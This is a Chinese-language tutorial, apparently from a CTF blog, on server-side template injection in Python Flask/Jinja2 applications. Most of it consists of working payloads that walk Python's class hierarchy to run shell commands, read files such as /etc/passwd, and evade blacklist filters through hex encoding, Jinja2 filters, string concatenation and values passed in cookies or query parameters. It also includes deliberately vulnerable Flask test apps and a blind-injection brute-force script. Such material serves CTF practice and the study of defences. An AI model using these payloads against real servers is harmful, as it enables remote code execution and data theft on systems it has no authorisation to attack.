模板注入

  1. 1. 前言
  2. 2. 基础知识
  3. 3. 攻击思路
    1. 3.1. object基类的利用
      1. 3.1.1. 读取文件
      2. 3.1.2. 执行命令
    2. 3.2. 内置类的利用
  4. 4. 攻击思路扩展
  5. 5. Bypass
    1. 5.1. 过滤 .
    2. 5.2. 过滤 _
    3. 5.3. 过滤 []
    4. 5.4. 过滤 ‘
    5. 5.5. 过滤 {{ / }}
    6. 5.6. 过滤关键词
      1. 5.6.1. 过滤class
    7. 5.7. 模板过滤器妙用
    8. 5.8. 过滤 . _ 和 []
  6. 6. 参考

前言

有关SSTI的一些知识 https://www.cnblogs.com/bmjoker/p/13508538.html

SSTI (Server-Side Template Injection),即服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。

SSTI属于沙箱逃逸的一种 , 关于python沙箱逃逸的一些姿势 https://xz.aliyun.com/t/52#toc-0

CTF里面主要是python的模板注入,本文主要探究的也是python环境下的

python 2.x/3.x Flask( Jinja2 )

基础知识

__globals__ : 使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典

1
2
3
4
5
6
7
8
9
import os
var = 2333
def fun():
pass

class test:
def __init__(self):
pass
print (test.__init__.__globals__)

返回的模块包括了内置模块和通过import导入的模块

1608901697568

有时还可以用 func_global代替

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('ls')

与继承,类等有关的

__class__ : 返回一个实例所属的类

__subclasses__() : 返回一个类的子类,(列表形式)

__bases__: 返回一个类直接所继承的类(元组形式)

__base_: 返回直接基类 , 只有一个

__mro__ : 会返回一个类的调用顺序,也就是所有继承链上的类(包括最顶层) (元组形式)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class base1:
pass
class base2:
pass
class kid1(base1,base2):
pass
class kid2(kid1):
pass
class kid3(base1):
pass
obj = new kid2
# __class__ 返回一个实例所属的类
print(obj.__class__) # <class '__main__.kid2'>
# __subclasses__() 返回一个类的子类
print(kid1.__subclasses__()) # [<class '__main__.kid2'>]
print(base1.__subclasses__())# [<class '__main__.kid1'>, <class '__main__.kid3'>]
# __bases__ 返回一个类直接所继承的类
print(kid2.__bases__) # (<class '__main__.kid1'>,)
print(kid1.__bases__) # (<class '__main__.base1'>, <class '__main__.base2'>)

# __base__ 返回直接基类 , 只有一个
print(kid1.__base__) # <class '__main__.base1'>

#__mro__ 返回继承链上所有类
print(kid1.__mro__)
#(<class '__main__.kid1'>, <class '__main__.base1'>, <class '__main__.base2'>, <class 'object'>)
print(kid2.__mro__)
#(<class '__main__.kid2'>, <class '__main__.kid1'>, <class '__main__.base1'>, <class '__main__.base2'>, <class 'object'>)

__builtin__ && __builtins__ :

__builtin__是一个python的内置模块(<module '__builtin__' (built-in)>) 里面包括了python中可以直接运行一些函数,例如int(),list()等等

dir(__builtins__) / dir('builtin') / dir('builtins')

二者区别:

1、在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。

2、非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

__dict__

1608958452026

攻击思路

利用继承链进行攻击,主要利用object类和内置类

object基类的利用

可以利用直接object基类下的子类,也可以利用子类下面的方法等

​ 找到object类

  1. 随便找一个内置类对象用__class__拿到他所对应的类

  2. __bases__拿到基类(<class 'object'>

    利用其object基类的子类

  3. __subclasses__()拿到子类列表

  4. 在子类列表中直接寻找可以利用的类

读取文件

读取文件利用的是object子类的<type 'file'>

<type 'file'>的位置,可以用下面的脚本

1
2
3
4
5
6
search = 'file'
num = 0
for i in ().__class__.__base__.__subclasses__():
if search in str(i):
print num
num += 1

<type 'file'>在第40位 , ().__class__.__bases__[0].__subclasses__()[40]

dir来看看内置的方法 dir(().__class__.__bases__[0].__subclasses__()[40])

1
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']

存在read,readline,readlines,write等方法,可以利用这些方法进行读写文件

读文件 : ().__class__.__base__.__subclasses__()[40]('filename').readlines()

写文件: ().__class__.__base__.__subclasses__()[40]('路径+文件名').write('内容')

这种方法只能在py2下使用,py3已经移除了<type 'file'>

执行命令

执行命令是利用子类的一些方法

可以利用XX.__init__.globals__ 更详细的查看这个类的属性方法等

用下面的脚本遍历找到我们想利用的一些方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
searchlist = ['os','eval','commands','subprocess','platform','timeit','importlib']
for search in searchlist
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass

"""
py2.x (py3.x下可利用的模块更多)
(<lass 'site._Printer'>, 72, 'os')
(<class 'site.Quitter'>, 77, 'os')
"""

构造:

1
2
3
().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[72].__init__.__globals__['os'].popen('whoami').read()

还有一些比较特殊的类和命令执行方式 warning相关的

主要有两个 <class 'warnings.WarningMessage'><class 'warnings.catch_warnings'>

分别在().__class__.__mro__[1].__subclasses__()[59]().__class__.__mro__[1].__subclasses__()[60]

再从linecache寻找可以利用的模块

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].__dict__

在linecache的__dict__里面可以找到一些可以利用的模块比如os模块

1608958574283

利用os模块里面的system方法

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('ls')

内置类的利用

主要是__builtins__

找到__builtins__位置

1
2
3
4
5
6
7
8
9
search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass

1608951891753

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']会返回 dict 类型,需要找到可以利用的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
search = ['os','file','eval','system',]
num = -1
for i in ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__'].keys():
num += 1
try:
if i in search:
print(i, num)
except:
pass

'''
('file', 114)
('eval', 135)
'''
1
2
3
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

攻击思路扩展

命令执行方式的扩展

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# os模块  py2 , py3
os.system('whoami')
os.popen('whoami').read()
# commands 模块 py2
commands.getoutput('whoami')
commands.getstatusoutput('whoami')
# subprocess模块 py2 , py3
subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
# platform模块 py2
platform.popen('whoami').read()
# timeit模块 py2 py3
timeit.timeit("__import__('os').system('whoami')", number=1)
# importlib 模块
importlib.import_module('os').system('whoami')
importlib.__import__('os').system('whoami')
# pickle模块 py2 py3
pickle.loads(b"cos\nsystem\n(S'whoami'\ntR.")

eval("__import__('os').system('whoami')")
exec("__import__('os').system('whoami')")
exec(compile("__import__('os').system('whoami')", '', 'exec'))

# bdb模块
bdb.os.system("whoami")
# cgi
cgi.os.system("whoami")
# pty
pty.spawn('ls')
pty.os.system('ls')

文件操作姿势扩展

open('flag.txt').read()

1
2
file('1.txt').read()
types.FileType('1.txt').read()

commands.getoutput('flag')

基类获取思路扩展

1
2
3
4
5
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] #针对jinjia2/flask为[9]适用

针对Flask还可以从config等寻找可利用模块

1
2
3
4
5
6
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
self.__class__.__bases__ # (<type 'object'>,)
get_flashed_messages.__globals__
url_for.__globals__
lipsum.__globals__
x.__init__.__globals__

Bypass

下面都是我本地测试过的一些姿势(windows+Flask+python2.x)

先列出一些常见payload,根据环境不同可能还会有差别

利用os.system执行命令返回的只有0/1 所以这里用popen

1
2
3
4
{{ config.__class__.__init__.__globals__['os'].popen('flag').read() }}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('type flag').read()}}
().__class__.__base__.__subclasses__()[40]('flag').readlines()
{{().__class__.__mro__[1].__subclasses__()[72].__init__.__globals__['os'].popen('type flag').read() }}

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
blacklist = ['class']
name = request.args.get('name')
for i in blacklist:
if i in name.lower():
return 'sb hacker!'
return render_template_string(name)
if __name__ == '__main__':
app.run(debug=True)

过滤 .

标准的python语法使用点.外,还可以使用中括号[]来访问变量的属性

1
{{config['__class__']['__init__']['__globals__']['os']['popen']('type flag')['read']()}}

过滤 _

​ 用request['args']或者 request['values']或者request['cookies']绕过

https://blog.csdn.net/u011146423/article/details/88191225

1
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('flag').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

或者

1
2
3
{{ ''[request.cookies.class][request.cookies.mro][2][request.cookies.subclasses]()[40]('flag').read() }}

cookie: subclasses=__subclasses__;class=__class__;mro=__mro__

tips 传多个cookie用;分割

或者利用模板过滤器format

1
config["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95) ]['%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95)]['%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95)]['os'].popen('whoami').read() 

过滤 []

用pop()

1
2
3
4
5
pop(key[,default])
参数
key: 要删除的键值
default: 如果没有 key,返回 default 值
删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。

但是由于pop会删除这里面的键,不方便测试,所以不建议用

1
{{ config.__class__.__init__.__globals__.pop('os').popen('whoami').read() }}

别的替代: getsetdefault

1
2
3
4
5
dict.get(key, default=None)
返回指定键的值,如果值不在字典中返回default值

dict.setdefault(key, default=None)
和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
1
2
{{ config.__class__.__init__.__globals__.setdefault('os').popen('whoami').read() }}
{{ config.__class__.__init__.__globals__.get('os').popen('whoami').read() }}

__getitem__

1
{{ config.__class__.__init__.__globals__.__getitem__('os').popen('whoami').read() }}

过滤 ‘

还是利用 request.args

1
2
3
{{ config.__class__.__init__.__globals__[request.cookies.os].popen(request.cookies.command).read() }}

cookie: os=os;command=whoami

过滤 {{ / }}

还可以用 {%%}

1
name={%print(config.__class__.__init__.__globals__['os'].popen('type flag').read())%}

或者类似于盲注的一种方式

1
{% if config.__class__.__init__.__globals__['os'].popen('type flag').read()[0:1]=='f' %}1{% endif %}

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, render_template_string, request
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
blacklist = ["{{","print"]
name = request.args.get('name')
for i in blacklist:
if i in name.lower():
return 'sb hacker!'
return render_template_string(name)

if __name__ == '__main__':
app.run(debug=True)

​ 盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-
# @Time : 20.12.26 22:42
# @author:lonmar
# SSTI盲注
import requests

url = 'http://127.0.0.1:5000/'
payload = "?name={% if config.__class__.__init__.__globals__['os'].popen('type flag').read()[0:1]=='f' %}1{% endif %}"
str1 = "?name={% if config.__class__.__init__.__globals__['os'].popen('type flag').read()"
str2 = "%}1{% endif %}"
flag = ' '
i = -1
while True:
esp = 128
ebp = 32
mid = 0
i = i + 1
if flag[-1] == '}':
break
while True:
mid = int((esp+ebp)/2)
payload = str1 + f"[{i}:{i+1}]>'{chr(mid)}'" + str2
res = requests.get(url=url+payload)
if '1' in res.text:
ebp = mid + 1
else:
esp = mid
if mid == int((esp+ebp)/2):
flag = flag + chr(mid)
print(flag)
break

过滤关键词

过滤class

下面两个是等价的(调用对象)

1
2
"".__class__
"".__getattribute__("__class__")

可以利用反转字符和拼接字符

"cla"+"ss""__ssalc__"[::-1]或者"cla""ss"

1
2
3
{{ config["__cla""ss__"].__init__.__globals__['os'].popen('whoami').read() }}
{{config.__getattribute__("__cla""ss__").__init__.__globals__['os'].popen('whoami').read()}}
{{config.__getattribute__("__ssalc__"[::-1]).__init__.__globals__['os'].popen('whoami').read()}}

ascii转换 + 格式化字符串

P3rh4ps 利用Python字符串格式化特性绕过ssti过滤 : https://xz.aliyun.com/t/7519

1
2
3
4
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

{{ config["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)].__init__.__globals__['os'].popen('whoami').read() }}

编码绕过

1
2
3
4
5
6
7
8
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")

{{ config["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"].__init__.__globals__['os'].popen('whoami').read() }}

{{ config[("X19jbGFzc19f").decode("base64")].__init__.__globals__['os'].popen('whoami').read() }}

利用chr函数

因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

1
2
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{config[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)].__init__.__globals__['os'].popen('whoami').read()}}

获取内置方法:以chr()为例

1
2
3
4
5
"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr (x为任意值)

在jinja2里面可以利用~进行拼接

1
2
{%set a='__cla' %}{%set b='ss__'%}
{{config[a~b].__init__.__globals__['os'].popen('whoami').read() }}

大小写转换

1
{{config["__CLASS__".lower()].__init__.__globals__['os'].popen('whoami').read() }}

利用模板过滤器format

1
{{config["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95) ].__init__.__globals__['os'].popen('whoami').read() }}

过滤器join,lower还有 replace reverse

1
2
3
4
{{config[('__clas','s__')|join].__init__.__globals__['os'].popen('whoami').read() }}
{{config["__CLASS__"|lower].__init__.__globals__['os'].popen('whoami').read() }}
{{config["__ssalc__"|reverse].__init__.__globals__['os'].popen('whoami').read() }}
{{config["__claee__"|replace("ee","ss")].__init__.__globals__['os'].popen('whoami').read() }}

string + select 组合

1
2
3
4
5
6
7
8
9
().__class__   => <class 'tuple'>
(().__class__|string)[0] => <
()|select|string => <generator object select_or_reject at 0x0000022717FF33C0>

(()|select|string)[24] => _
(()|select|string)[15] => c
(()|select|string)[20] => l
(()|select|string)[6] => a
(()|select|string)[18] => s

模板过滤器妙用

1
blacklist = ['class', 'attr', 'mro', 'base','request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']

下面来自y1ng师傅

https://www.gem-love.com/ctf/2598.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#Author:颖奇L'Amore
# 从 globals 里把 eval 函数找出来,然后构造任意字符串放进去 RCE
{% set xhx = (({ }|select()|string()|list()).pop(24)|string())%} # _
{% set spa = ((app.__doc__|list()).pop(102)|string())%} #空格
{% set pt = ((app.__doc__|list()).pop(320)|string())%} #点
{% set yin = ((app.__doc__|list()).pop(337)|string())%} #单引号
{% set left = ((app.__doc__|list()).pop(264)|string())%} #左括号 (
{% set right = ((app.__doc__|list()).pop(286)|string())%} #右括号)
{% set slas = (y1ng.__init__.__globals__.__repr__()|list()).pop(349)%} #斜线/
{% set bu = dict(buil=aa,tins=dd)|join() %} #builtins
{% set im = dict(imp=aa,ort=dd)|join() %} #import
{% set sy = dict(po=aa,pen=dd)|join() %} #popen
{% set os = dict(o=aa,s=dd)|join() %} #os
{% set ca = dict(ca=aa,t=dd)|join() %} #cat
{% set flg = dict(fl=aa,ag=dd)|join() %} #flag
{% set ev = dict(ev=aa,al=dd)|join() %} #eval
{% set red = dict(re=aa,ad=dd)|join()%} #read
{% set bul = xhx*2~bu~xhx*2 %} #__builtins__

#拼接起来 __import__('os').popen('cat /flag').read()
{% set pld = xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right %}


{% for f,v in y1ng.__init__.__globals__.items() %} #globals
{% if f == bul %}
{% for a,b in v.items() %} #builtins
{% if a == ev %} #eval
{{b(pld)}} #eval(pld)
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

过滤 . _ 和 []

利用模板中的过滤器

attr

Get an attribute of an object.
foo|attr(“bar”) works like foo.bar
just that always an attribute is returned and items are not looked up.

1
2
3
""|attr("__class__")
相当于
"".__class__
1
2
3
{{ config.__class__.__init__.__globals__['os'].popen('flag').read() }}
=>
{{ config|attr("__class__").__init__.__globals__['os'].popen('flag').read() }}
1
2
3
4
5
().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
=>
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(59)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
=>
{{()|attr('\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f')|attr('\x5f\x5f\x62\x61\x73\x65\x5f\x5f')|attr('\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f')()|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')(59)|attr('\x5f\x5f\x69\x6e\x69\x74\x5f\x5f')|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f')|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f')|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x65\x76\x61\x6c')('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x22\x77\x68\x6f\x61\x6d\x69\x22\x29\x2e\x72\x65\x61\x64\x28\x29')}}

字符转换

1
2
3
str = 'eval'
for i in str:
print(hex(ord(i)).replace('0x', '\\x'), end='')

参考

https://xz.aliyun.com/t/2308

https://blog.csdn.net/miuzzx/article/details/110220425

https://lazzzaro.github.io/

https://www.gem-love.com/ctf/2598.html